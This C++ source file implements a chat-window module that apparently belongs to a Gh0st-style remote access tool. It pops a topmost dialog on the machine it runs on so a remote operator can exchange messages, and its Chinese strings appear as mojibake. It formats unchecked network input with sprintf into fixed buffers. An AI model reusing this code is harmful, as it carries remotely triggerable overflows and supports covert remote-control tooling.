2024-06-23 17:36:53 +08:00

232 lines
7.1 KiB
C++

#include "stdio.h"
#include "ChatManager.h"
CChatManager::CChatManager(CClientSocket *pClient):CManager(pClient)
{
m_hWnd = NULL;
BYTE bToken;
bToken = TOKEN_CHAT_START;
Send((LPBYTE)&bToken, sizeof(bToken));
WaitForDialogOpen();
HANDLE hThread = CreateThread(NULL,0,MessageLoopProc,this,0,NULL);
if (hThread) CloseHandle(hThread);
}
CChatManager::~CChatManager()
{
if (m_hWnd)
{
SendMessage(m_hWnd,WM_USER+1,NULL,NULL);
}
}
DWORD WINAPI CChatManager::MessageLoopProc(LPVOID lParam)
{
HGLOBAL hGlobal;
LPBYTE lpBuffer;
LPDLGTEMPLATE lpTemplate;
LPWORD lpWord;
LPWSTR lpCaption;
LPWSTR lpFontName;
LPDLGITEMTEMPLATE lpItemTemplate;
hGlobal = GlobalAlloc(GMEM_ZEROINIT, 256);
if (hGlobal == NULL)
return -1;
lpBuffer = (LPBYTE)GlobalLock(hGlobal);
if (lpBuffer == NULL)
{
GlobalFree(hGlobal);
return -1;
}
// Define a dialog box
lpTemplate = (LPDLGTEMPLATE)lpBuffer;
lpTemplate->style = DS_SETFONT|DS_MODALFRAME|DS_CENTER|WS_MINIMIZEBOX|WS_POPUP|WS_CAPTION|WS_SYSMENU;
lpTemplate->cdit = 4;
lpTemplate->x = 0;
lpTemplate->y = 0;
lpTemplate->cx = 235;
lpTemplate->cy = 155;
lpWord = (LPWORD)(lpTemplate + 1);
*lpWord++ = 0; // no menu
*lpWord++ = 0; // predefined dialog box class (by default)
lpCaption = L"";
wcscpy((wchar_t *)lpWord, lpCaption);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpCaption) + 1) * sizeof(WCHAR));
*lpWord++ = 10; // font size
lpFontName = L"ËÎÌå";
wcscpy((wchar_t *)lpWord, lpFontName);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpFontName) + 1) * sizeof(WCHAR));
// Define a new message edit
lpItemTemplate = (LPDLGITEMTEMPLATE)(((DWORD_PTR)lpWord + 3) & ~3);
lpItemTemplate->style = ES_MULTILINE|ES_AUTOVSCROLL|WS_VSCROLL|WS_BORDER|WS_TABSTOP|WS_VISIBLE;
lpItemTemplate->x = 3;
lpItemTemplate->y = 113;
lpItemTemplate->cx = 170;
lpItemTemplate->cy = 38;
lpItemTemplate->id = IDC_EDIT_NEWMSG;
lpWord = (LPWORD)(lpItemTemplate + 1);
*lpWord++ = 0xFFFF; // indicating atom value
*lpWord++ = 0x0081; // edit class atom
lpCaption = L"";
wcscpy((wchar_t *)lpWord, lpCaption);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpCaption) + 1) * sizeof(WCHAR));
*lpWord++ = 0; // no creation data
// Define a send message button
lpItemTemplate = (LPDLGITEMTEMPLATE)(((DWORD_PTR)lpWord + 3) & ~3);
lpItemTemplate->style = BS_DEFPUSHBUTTON|WS_TABSTOP|WS_VISIBLE;
lpItemTemplate->x = 178;
lpItemTemplate->y = 116;
lpItemTemplate->cx = 54;
lpItemTemplate->cy = 14;
lpItemTemplate->id = IDC_BUTTON_SEND;
lpWord = (LPWORD)(lpItemTemplate + 1);
*lpWord++ = 0xFFFF; // indicating atom value
*lpWord++ = 0x0080; // button class atom
lpCaption = L"·¢ËÍÏûÏ¢";
wcscpy((wchar_t *)lpWord, lpCaption);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpCaption) + 1) * sizeof(WCHAR));
*lpWord++ = 0; // no creation data
// Define an end chat button
lpItemTemplate = (LPDLGITEMTEMPLATE)(((DWORD_PTR)lpWord + 3) & ~3);
lpItemTemplate->style = WS_DISABLED|WS_TABSTOP|WS_VISIBLE;
lpItemTemplate->x = 178;
lpItemTemplate->y = 133;
lpItemTemplate->cx = 54;
lpItemTemplate->cy = 14;
lpItemTemplate->id = IDC_BUTTON_END;
lpWord = (LPWORD)(lpItemTemplate + 1);
*lpWord++ = 0xFFFF; // indicating atom value
*lpWord++ = 0x0080; // button class atom
lpCaption = L"½áÊø½»Ì¸";
wcscpy((wchar_t *)lpWord, lpCaption);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpCaption) + 1) * sizeof(WCHAR));
*lpWord++ = 0; // no creation data
// Define a chat log edit
lpItemTemplate = (LPDLGITEMTEMPLATE)(((DWORD_PTR)lpWord + 3) & ~3);
lpItemTemplate->style = ES_MULTILINE|ES_AUTOVSCROLL|ES_READONLY|WS_VSCROLL|WS_BORDER|WS_TABSTOP|WS_VISIBLE;
lpItemTemplate->x = 3;
lpItemTemplate->y = 3;
lpItemTemplate->cx = 229;
lpItemTemplate->cy = 107;
lpItemTemplate->id = IDC_EDIT_CHATLOG;
lpWord = (LPWORD)(lpItemTemplate + 1);
*lpWord++ = 0xFFFF; // indicating atom value
*lpWord++ = 0x0081; // edit class atom
lpCaption = L"";
wcscpy((wchar_t *)lpWord, lpCaption);
lpWord = (LPWORD)((LPBYTE)lpWord + (wcslen(lpCaption) + 1) * sizeof(WCHAR));
*lpWord++ = 0; // no creation data
CChatManager *pThis = (CChatManager *)lParam;
pThis->m_hWnd = CreateDialogIndirectParam(NULL,lpTemplate,NULL,ChatDialogProc,(LPARAM)pThis);
GlobalUnlock(hGlobal);
GlobalFree(hGlobal);
if (pThis->m_hWnd)
{
SendMessage(GetDlgItem(pThis->m_hWnd,IDC_EDIT_NEWMSG),EM_SETLIMITTEXT,8158,0);
SetWindowPos(pThis->m_hWnd,HWND_TOPMOST,0,0,0,0,SWP_NOSIZE|SWP_NOMOVE);
//ShowWindow(pThis->m_hWnd,SW_SHOW);
MSG msg;
while(GetMessage(&msg,NULL,0,0))
{
if(!IsDialogMessage(pThis->m_hWnd,&msg))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}
}
}
return 0;
}
INT_PTR CALLBACK CChatManager::ChatDialogProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam)
{
CChatManager *pThis = (CChatManager *)GetWindowLongPtr(hDlg,GWLP_USERDATA);
switch(uMsg)
{
case WM_INITDIALOG:
SetWindowLongPtr(hDlg,GWLP_USERDATA,(LONG_PTR)lParam);
SetClassLong(hDlg,GCL_HICON,(LONG)LoadIcon(GetModuleHandle(NULL),MAKEINTRESOURCE(IDI_CHAT)));
return TRUE;
case WM_COMMAND:
if (LOWORD(wParam) == IDC_BUTTON_SEND)
{
char str[8159];
GetDlgItemText(hDlg,IDC_EDIT_NEWMSG,str,sizeof(str));
if (strcmp(str,"")==0)
{
SetFocus(GetDlgItem(hDlg,IDC_EDIT_NEWMSG));
return TRUE; // ·¢ËÍÏûϢΪ¿Õ²»´¦Àí
}
pThis->Send((LPBYTE)str,strlen(str)+1);
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192]={0};
sprintf(Text,"%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n","×Ô¼º:",
st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond,str);
HWND hEditChatLog=GetDlgItem(hDlg,IDC_EDIT_CHATLOG);
int nEditChatLogLen=GetWindowTextLength(hEditChatLog);
if (nEditChatLogLen >= 20000)
{
SetWindowText(hEditChatLog,"");
nEditChatLogLen=GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog,EM_SETSEL,nEditChatLogLen,nEditChatLogLen);
SendMessage(hEditChatLog,EM_REPLACESEL,FALSE,(LPARAM)Text);
//SendMessage(edit,WM_VSCROLL,MAKEWPARAM(SB_BOTTOM,0),0);
SetDlgItemText(hDlg,IDC_EDIT_NEWMSG,"");
SetFocus(GetDlgItem(hDlg,IDC_EDIT_NEWMSG));
return TRUE;
}
break;
case WM_CLOSE:
return 0;
case WM_USER+1:
DestroyWindow(hDlg);
return TRUE;
case WM_DESTROY:
PostQuitMessage(0);
return TRUE;
default:
break;
}
return FALSE;
}
void CChatManager::OnReceive(LPBYTE lpBuffer, UINT nSize)
{
if (lpBuffer[0] == COMMAND_NEXT && nSize == 1)
{
NotifyDialogIsOpen();
return;
}
if (lpBuffer[0] == COMMAND_CHAT_CLOSE && nSize == 1)
{
SendMessage(m_hWnd,WM_USER+1,NULL,NULL);
return;
}
SYSTEMTIME st;
GetLocalTime(&st);
char Text[8192]={0};
sprintf(Text,"%s %d/%d/%d %d:%02d:%02d\r\n %s\r\n\r\n","¶Ô·½:",
st.wYear,st.wMonth,st.wDay,st.wHour,st.wMinute,st.wSecond,lpBuffer);
HWND hEditChatLog=GetDlgItem(m_hWnd,IDC_EDIT_CHATLOG);
int nEditChatLogLen=GetWindowTextLength(hEditChatLog);
if (nEditChatLogLen >= 20000)
{
SetWindowText(hEditChatLog,"");
nEditChatLogLen=GetWindowTextLength(hEditChatLog);
}
SendMessage(hEditChatLog,EM_SETSEL,nEditChatLogLen,nEditChatLogLen);
SendMessage(hEditChatLog,EM_REPLACESEL,FALSE,(LPARAM)Text);
//SendMessage(edit,WM_VSCROLL,MAKEWPARAM(SB_BOTTOM,0),0);
ShowWindow(m_hWnd, SW_RESTORE);
}